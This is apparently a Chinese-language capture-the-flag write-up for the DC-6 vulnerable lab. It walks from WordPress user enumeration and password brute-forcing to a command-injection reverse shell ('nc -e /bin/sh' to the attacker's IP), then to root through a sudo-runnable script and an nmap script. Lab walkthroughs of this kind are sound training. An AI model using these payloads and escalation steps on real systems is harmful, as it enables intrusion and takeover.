DC-6
題目描述
DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
NOTE: You WILL need to edit your hosts file on your pentesting device so that it reads something like:
192.168.0.142 wordy
Clue
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
描述中說到和之前一樣只有一個Flag,并且需要配置一下HOSTS,且給了提示
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
知識點總結(jié)
? ①掃描
? ②使用wpscan工具枚舉用戶,結(jié)合提示生成字典進行爆破密碼
? ③利用網(wǎng)站插件的命令執(zhí)行漏洞反彈shell
? ④根據(jù)每個用戶可以執(zhí)行的操作進行提權(quán)
? ⑤nmap提權(quán)
1.掃描局域網(wǎng)主機
arp-scan -l

image
目標IP為:192.168.2.132
2.掃描端口
nmap -sV -p- 192.168.2.132
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
可以看到開放了ssh端口和web端口
3.配置hosts
題目描述已經(jīng)說了,我們需要配置一下hosts文件
windows下在 C:windowssystem32driversetchosts
打開后在末尾添加
192.168.2.132 wordy
Linux下在/etc/hosts
vim /etc/hosts
添加 192.168.2.132 wordy
4.訪問web

image

image
是一個WordPress網(wǎng)站,kali有專門的掃描工具wpscan,我們可以使用工具掃描一下
在掃描之前先來掃一下目錄
5.使用dirsearch掃描目錄

image
發(fā)現(xiàn)的登錄地址
6.使用wpscan掃描用戶
wpscan --url http://wordy/ -e u

image
發(fā)現(xiàn)了這幾個用戶,我們將用戶保存到dc6-username.txt中
admin,mark,graham,sarah,jens

image
7.對用戶密碼進行爆破
我們使用cewl來生成字典
cewl -w /root/dc6-passwd.txt http://wordy/
開始爆破
wpscan --url http://wordy/ -U dc6-username.txt -P dc6-passwd.txt

image
但是這里顯示沒有找到密碼,于是我們想到剛開始的時候提示有密碼
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
將rockyou.txt里面的帶有k01的面找出來
我們先查看一下rockyou.txt

image
這里確實有這個字典,將帶有k01的密碼導(dǎo)出來

image
然后進行爆破
wpscan --url http://wordy/ -U dc6-username.txt -P dc6-passwd.txt

image
找到了mark的密碼為:helpdesk01
登錄后臺發(fā)現(xiàn)有一個插件

image
也可以通過wpscan掃描插件
wpscan --url http://wordy --plugins-detection aggressive

image
8.利用插件漏洞來getshell
首先百度查一下activity-monitor漏洞

image
可以看到有命令執(zhí)行漏洞
我們用kali的searchsploit來查找漏洞
searchsploit activity monitor

image
#將html文件復(fù)制到root目錄
cp /usr/share/exploitdb/exploits/php/webApps/45274.html 45274.html
#拷貝一份
cp 45274.html 45274.html.bak
#修改一下html內(nèi)容,將反彈ip改成kali的,提交申請改為目標網(wǎng)站
vi 45274.html

image
然后直接打開網(wǎng)頁提交,這里不知道為什么獲取不到shell,研究一下exp然后去網(wǎng)頁上自己實現(xiàn)
這里是在activity的插件頁面的tools分類里邊

image
填I(lǐng)P的地方有個命令執(zhí)行,我們測試一下

image
(這里因為填I(lǐng)P的地方對長度有限制所以前邊的127.0.0.1刪掉了一部分)

image
可以看到whoami的命令已經(jīng)被執(zhí)行,我們在這里反彈一個shell,但是我們的shell長度有點長,使用F12修改輸入的長度

image
然后在kali上監(jiān)聽
#kali
nc -lvp 1234
#發(fā)送payload
1|nc -e /bin/sh 192.168.2.135 1234
可以看到已經(jīng)獲取shell了

image
同樣,切換一下shell外殼
Python -c 'import pty;pty.spawn("/bin/bash")'

image
先看看這里都有什么文件,進入到home目錄下當前用戶的文件夾

image
發(fā)現(xiàn)一個txt

image
發(fā)現(xiàn)了graham的密碼
graham - GSo7isUM1D4
切換到這個用戶

image
先查看一下有沒有suid提權(quán) 發(fā)現(xiàn)沒有 再使用sudo -l看一下可以執(zhí)行的命令

image
可以使用jens用戶來執(zhí)行這個.sh文件查看一下這個腳本是什么內(nèi)容

image
既然我們可以執(zhí)行這個腳本,我們把/bin/bash放入腳本里,以jens用戶執(zhí)行后 就相當于獲取了jens的權(quán)限
echo "/bin/bash" >> backups.sh

image
已經(jīng)寫進去了
然后以jens用戶執(zhí)行
sudo -u jens ./backups.sh

image
已經(jīng)切換到j(luò)ens用戶
再使用sudo -l 查看一下可以執(zhí)行的操作

image
可以使用nmap,由于nmap是可以執(zhí)行腳本的,我們把root的shell放入腳本里讓nmap執(zhí)行也就相當于獲取了root的權(quán)限
#寫入shell
echo 'os.execute("/bin/sh")' > Shell
#name使用script執(zhí)行腳本
sudo nmap --script=shell

image
獲取root權(quán)限,查看flag
